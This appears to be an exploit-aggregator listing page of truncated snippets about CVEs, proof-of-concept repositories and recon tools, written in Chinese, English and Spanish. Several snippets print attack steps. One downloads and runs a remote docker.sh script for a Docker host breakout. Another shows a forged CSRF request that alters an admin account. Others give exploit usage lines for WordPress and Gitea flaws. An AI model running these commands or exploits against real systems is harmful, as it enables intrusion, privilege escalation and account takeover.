CVE-2024-52317

🚨🚨CVE-2024-52317🚨🚨 CVE-2024-52317 - Apache Tomcat HTTP/2 数据泄露漏洞 概述 CVE-2024-52317 是一个影响 Apache Tomcat HTTP/2 实现的漏洞。该问题源于 HTTP/2 请求与响应资源的不当回收，可能导致用户间数据泄露。这意味着一个用户的敏感数据可能出现在发送给另一个用户的响应中。 受影响版本 以下 Apache Tomcat 版本受此漏洞影响： 版本系列| 受影响版本 ---|--- Apache Tomcat 11.0| 11.0.0 之前的版本 Apache Tomcat 10.1| 10.1.3...

sandmap

sandmap Description • How To Use • Command Line • Configuration • Requirements • Other • Contributing • License • Wiki Description sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning...

EUVD-2026-76152

Laci Synchroni is a decentralized mod and appearance sync server and plugin for Dalamud. Versions of the backend prior to 1.2.3 have an improper authentication vulnerability in the application's OAuth2 login flow. The application relies on client-side state by trusting the UID field inside the...

CVE-2026-54047 Laci Synchroni Backend Vulnerable to Account Takeover / User Impersonation via Client-Side Configuration Manipulation

Laci Synchroni is a decentralized mod and appearance sync server and plugin for Dalamud. Versions of the backend prior to 1.2.3 have an improper authentication vulnerability in the application's OAuth2 login flow. The application relies on client-side state by trusting the UID field inside the...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator 关于 此工具允许您验证一个简单的 Java Web 应用程序是否对 CVE-2021-44228 存在漏洞，基于用户提供的 Java 和 Log4J 版本。 您还可以（可选地）应用几种预定义的缓解措施之一。 由 log4shellvalidator.py 启动的模拟实验室使用 docker-compose 来模拟利用 log4j 漏洞并在易受攻击的机器上获得 RCE。 工作方式 首先，需要构建一些 Docker 镜像。./buildimages.sh 脚本会处理这些。 攻击模拟按以下方式进行： 首先，一个简单的 Jav...

osueta

root@kitploit: / \ / / | || | | | ' / - ' \ \ \ | /| ./||||//||| || | | | | | | | | | || -/ - '| | || ' \ || | ' / - '/ | | / \ ' \ ///|| ||||,||||| ,||/||| | /| || | | | | | | | ' | | ' / | / \ | / / | / / || ||||||||, | // \|\,|\ |/ What's OSUETA? root@kitploit:...

CVE-2025-3054-Exploit

CVE-2025-3054 漏洞利用： 在此下载 详情 CVE 编号 ：CVE-2025-3054 发布日期 ：2025年6月5日 CVSS ：8.8 可用补丁： （尚无官方补丁） 影响 WordPress 的 WP User Frontend Pro 插件在 4.1.3 及之前的所有版本中，由于 uploadfiles 函数缺少文件类型验证，存在任意文件上传漏洞。这使得具有订阅者（Subscriber）级别及以上访问权限的已认证攻击者能够在受影响站点的服务器上上传任意文件，从而可能导致远程代码执行。请注意，利用该漏洞需要启用“私信”（Private Message）模块，并且需要使用...

CVE-2025-22963

概述 Teedy 版本 = v1.11 中的跨站请求伪造（CSRF）漏洞允许远程攻击者强制当前已认证的终端用户更改其在 Web 应用程序中的个人信息（用户名、密码等）。 漏洞 用户信息更改端点为 /api/user/:username。 该端点仅检查 Cookie 中的 authtoken 以进行授权。 authtoken 值可在其他源网站中使用。 root@kitploit: POST /api/user/admin HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64;...

CVE-2026-89265

MoguBlog through 6.2 contains an authorization bypass vulnerability in the POST /pictureSort/getPictureSortByUid endpoint, which omits the @AuthorityVerify annotation required to enforce role-based permissions. Authenticated back-office users without image-category permissions can supply a catego...

OVSwrap

OVSwrap CVE-2026-64531 Análisis !WARNING El PoC se proporciona únicamente para ayudar a defensores, mantenedores y equipos de seguridad autorizados a validar parches, mitigaciones, detecciones y exposición en sistemas que poseen o para los que están explícitamente autorizados a probar. Usted es e...

CVE-2020-24033

fs.com S3900 24T4S 1.7.1 及所有先前版本的最新版本，CSRF 后台管理员 该表单没有身份验证或令牌验证机制，因此存在跨站请求伪造（添加用户账户）漏洞，可添加一个具有完全访问权限的用户。 S3900 24T4S 上的所有表单都容易受到跨站请求伪造攻击。 root@kitploit: User Name admin guest admin2 Access Level 0 1...

CVE-2023-5561-PoC

PoC CVE-2023-5561 - WordPress 用户邮箱泄露 描述 此脚本利用 WordPress 中的 CVE-2023-5561 漏洞，通过 /wp-json/wp/v2/users API 端点枚举并泄露用户邮箱地址。 需求 Python 3.x requests 库 安装所需库： root@kitploit: pip install requests 用法 1. 识别目标 WordPress 站点的根 URL（例如 https://target.com）。 2. 使用以下语法运行脚本： root@kitploit: python CVE-2023-5561.py 示例...

CVE-2010-0426

CVE-2010-0426 https://www.cvedetails.com/cve/CVE-2010-0426/ sudo 1.6.x anterior a 1.6.9p21 y 1.7.x anterior a 1.7.2p4, cuando un pseudo-comando está habilitado, permite una coincidencia entre el nombre del pseudo-comando y el nombre de un archivo ejecutable en un directorio arbitrario, lo que...

CVE-2023-3460

Ultimate Member - 概述 欢迎来到 Ultimate Member GitHub 仓库！Ultimate Member 是一款功能强大且灵活的用户资料与会员插件，适用于 WordPress。但有时插件会存在漏洞，导致网站被入侵。 重要提示：请注意，Ultimate Member 的版本应低于 5.6.7，以确保兼容性和最佳运行效果。使用超出此范围的版本可能导致意外问题与冲突。 使用 python3 exploit.py 示例： python3 exploit.py https://example.com/register --- Ultimate Member 漏洞利用工...

CVE-2021-43408

CVE-2021-43408: WordPress 插件 Duplicate Post 版本 1.1.9 - SQL 注入 I. 概述 1. 什么是 WordPress WordPress 是一款开源的 CMS（内容管理系统）软件，是一个内容管理系统。与使用 HTML 编码语言不同，WP 采用 PHP 编程语言编写，并使用 MySQL 数据库平台。WordPress 由程序员 Matt Mullenweg 和 Mike Little 创立。目前 WordPress 归 Automattic 公司所有，该公司总部位于美国加利福尼亚州旧金山。 2. CVE-2021-43408...

CVE-2021-41091

CVE-2021-41091 Moby（Docker Engine）中的一个漏洞允许无权限用户在宿主机上遍历目录并直接执行 Docker 中的程序。如果 Docker 中存在 suid 程序，用户可在宿主机上以 suid 身份执行它。 PoC 在容器终端中下载 docker.sh 文件，然后以 root 用户身份执行： root@kitploit: wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh chmod +x docker.sh ./docker.sh 现在在宿主机中下载...

CVE-2025-26125

描述 该 PoC 程序利用 IMFForceDelete 驱动程序，该驱动程序暴露了一个 ioctl，允许非特权用户删除文件和文件夹。通过使用 ZDI 和 Halov 解释的技术，我们可以将其转化为权限提升，该技术利用 MSI 回滚机制，该机制旨在出现问题时维护系统完整性。通过删除它并以弱 DACL 和伪造的 RBF 和 RBS 文件重新创建，我们可以获得以 NT AUTHORITY\SYSTEM 身份对系统进行任意更改的能力。 视频 https://github.com/user-attachments/assets/58e343d2-97a4-4ca3-9deb-df911b717a...

osi.ig

Open Source Information Instagram so recently ig started sending html response insted of json to "unknown" requests. i REALLY wanted this to work without login since i don't use ig anymore, tried few ways i knew to get it working without login but it didn't work :/ anyways since lot of people are...

CVE-2026-89264

MoguBlog through 6.2 is vulnerable to comment author spoofing in the POST /web/comment/add endpoint. The server fails to validate that the userUid supplied in the request body matches the authenticated session, allowing any authenticated user to post comments attributed to any other account, incl...

CVE-2025-68937

CVE-2025-68937 - Gitea/Forgejo 模板符号链接 RCE CVE-2025-68937 的自动化概念验证：在 Gitea 和 Forgejo 的模板仓库处理过程中，通过符号链接解引用实现目录遍历，进而导致远程代码执行。 任何已认证用户 （无需管理员权限）都可以获得 git 服务用户的 shell。 漏洞 当从模板生成新仓库时，Gitea/Forgejo 会复制模板文件，并在 .gitea/template 中列出的文件里展开诸如 $REPODESCRIPTION 之类的变量。此过程跟随符号链接 且不进行任何校验，从而允许攻击者读取和写入服务器上的任意文件。 详情...